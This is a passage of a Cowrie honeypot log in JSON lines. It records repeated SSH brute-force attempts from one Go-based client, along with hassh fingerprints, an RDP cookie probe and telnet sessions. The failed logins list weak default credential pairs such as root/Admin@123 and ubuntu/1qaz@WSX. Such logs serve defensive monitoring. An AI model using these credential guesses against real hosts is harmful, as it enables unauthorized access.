8-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:09.651469Z","src_ip":"192.109.200.237","session":"ba9c3978dc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:09.945341Z","src_ip":"192.109.200.237","session":"ba9c3978dc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49826,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9676c7a88b","protocol":"ssh","message":"New connection: 167.172.81.52:49826 (10.17.0.5:22) [session: 2b9676c7a88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:10.819055Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:10.826507Z","src_ip":"167.172.81.52","session":"2b9676c7a88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:10.830148Z","src_ip":"167.172.81.52","session":"2b9676c7a88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:11.030653Z","src_ip":"192.109.200.237","session":"ba9c3978dc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.11210513114929,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:11.583462Z","src_ip":"192.119.13.58","session":"4954bf1f81d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58682,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d049193f88f","protocol":"ssh","message":"New connection: 192.109.200.237:58682 (159.203.135.109:22) [session: 6d049193f88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:12.719885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:12.724839Z","src_ip":"192.109.200.237","session":"6d049193f88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:12.889885Z","src_ip":"192.109.200.237","session":"6d049193f88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:13.179525Z","src_ip":"192.109.200.237","session":"6d049193f88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:14.265949Z","src_ip":"192.109.200.237","session":"6d049193f88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58690,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c9dfdfc9e3","protocol":"ssh","message":"New connection: 192.109.200.237:58690 (159.203.135.109:22) [session: 28c9dfdfc9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:16.047638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:16.052930Z","src_ip":"192.109.200.237","session":"28c9dfdfc9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:16.139298Z","src_ip":"192.109.200.237","session":"28c9dfdfc9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:16.387303Z","src_ip":"192.109.200.237","session":"28c9dfdfc9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:17.549833Z","src_ip":"192.109.200.237","session":"28c9dfdfc9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58698,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd6a2c3f5d62","protocol":"ssh","message":"New connection: 192.109.200.237:58698 (159.203.135.109:22) [session: dd6a2c3f5d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:19.124043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:19.128441Z","src_ip":"192.109.200.237","session":"dd6a2c3f5d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:19.210706Z","src_ip":"192.109.200.237","session":"dd6a2c3f5d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:19.456932Z","src_ip":"192.109.200.237","session":"dd6a2c3f5d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:20.549275Z","src_ip":"192.109.200.237","session":"dd6a2c3f5d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45302,"dst_ip":"159.203.135.109","dst_port":22,"session":"95c4ab8f814d","protocol":"ssh","message":"New connection: 192.109.200.237:45302 (159.203.135.109:22) [session: 95c4ab8f814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:22.244391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:22.342991Z","src_ip":"192.109.200.237","session":"95c4ab8f814d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:22.346409Z","src_ip":"192.109.200.237","session":"95c4ab8f814d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:22.670644Z","src_ip":"192.109.200.237","session":"95c4ab8f814d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:23.756063Z","src_ip":"192.109.200.237","session":"95c4ab8f814d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45322,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b53d4f36459","protocol":"ssh","message":"New connection: 192.109.200.237:45322 (159.203.135.109:22) [session: 1b53d4f36459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:25.462075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:25.467613Z","src_ip":"192.109.200.237","session":"1b53d4f36459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:25.545264Z","src_ip":"192.109.200.237","session":"1b53d4f36459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:25.864949Z","src_ip":"192.109.200.237","session":"1b53d4f36459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:26.971897Z","src_ip":"192.109.200.237","session":"1b53d4f36459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"729739a47f8c","protocol":"ssh","message":"New connection: 192.109.200.237:45344 (159.203.135.109:22) [session: 729739a47f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:28.659564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:28.663864Z","src_ip":"192.109.200.237","session":"729739a47f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:28.749610Z","src_ip":"192.109.200.237","session":"729739a47f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:29.135569Z","src_ip":"192.109.200.237","session":"729739a47f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f974cf8721","protocol":"telnet","message":"New connection: 192.119.13.58:43576 (10.17.0.5:23) [session: d3f974cf8721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:29.594372Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:30.220244Z","src_ip":"192.109.200.237","session":"729739a47f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b72282f10b2","protocol":"ssh","message":"New connection: 192.109.200.237:57336 (159.203.135.109:22) [session: 4b72282f10b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:31.980137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:31.984845Z","src_ip":"192.109.200.237","session":"4b72282f10b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:32.066880Z","src_ip":"192.109.200.237","session":"4b72282f10b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:32.312086Z","src_ip":"192.109.200.237","session":"4b72282f10b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:33.397100Z","src_ip":"192.109.200.237","session":"4b72282f10b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ac901b0f279","protocol":"ssh","message":"New connection: 192.109.200.237:57352 (159.203.135.109:22) [session: 7ac901b0f279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:35.154391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:02:35.159259Z","src_ip":"192.109.200.237","session":"7ac901b0f279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-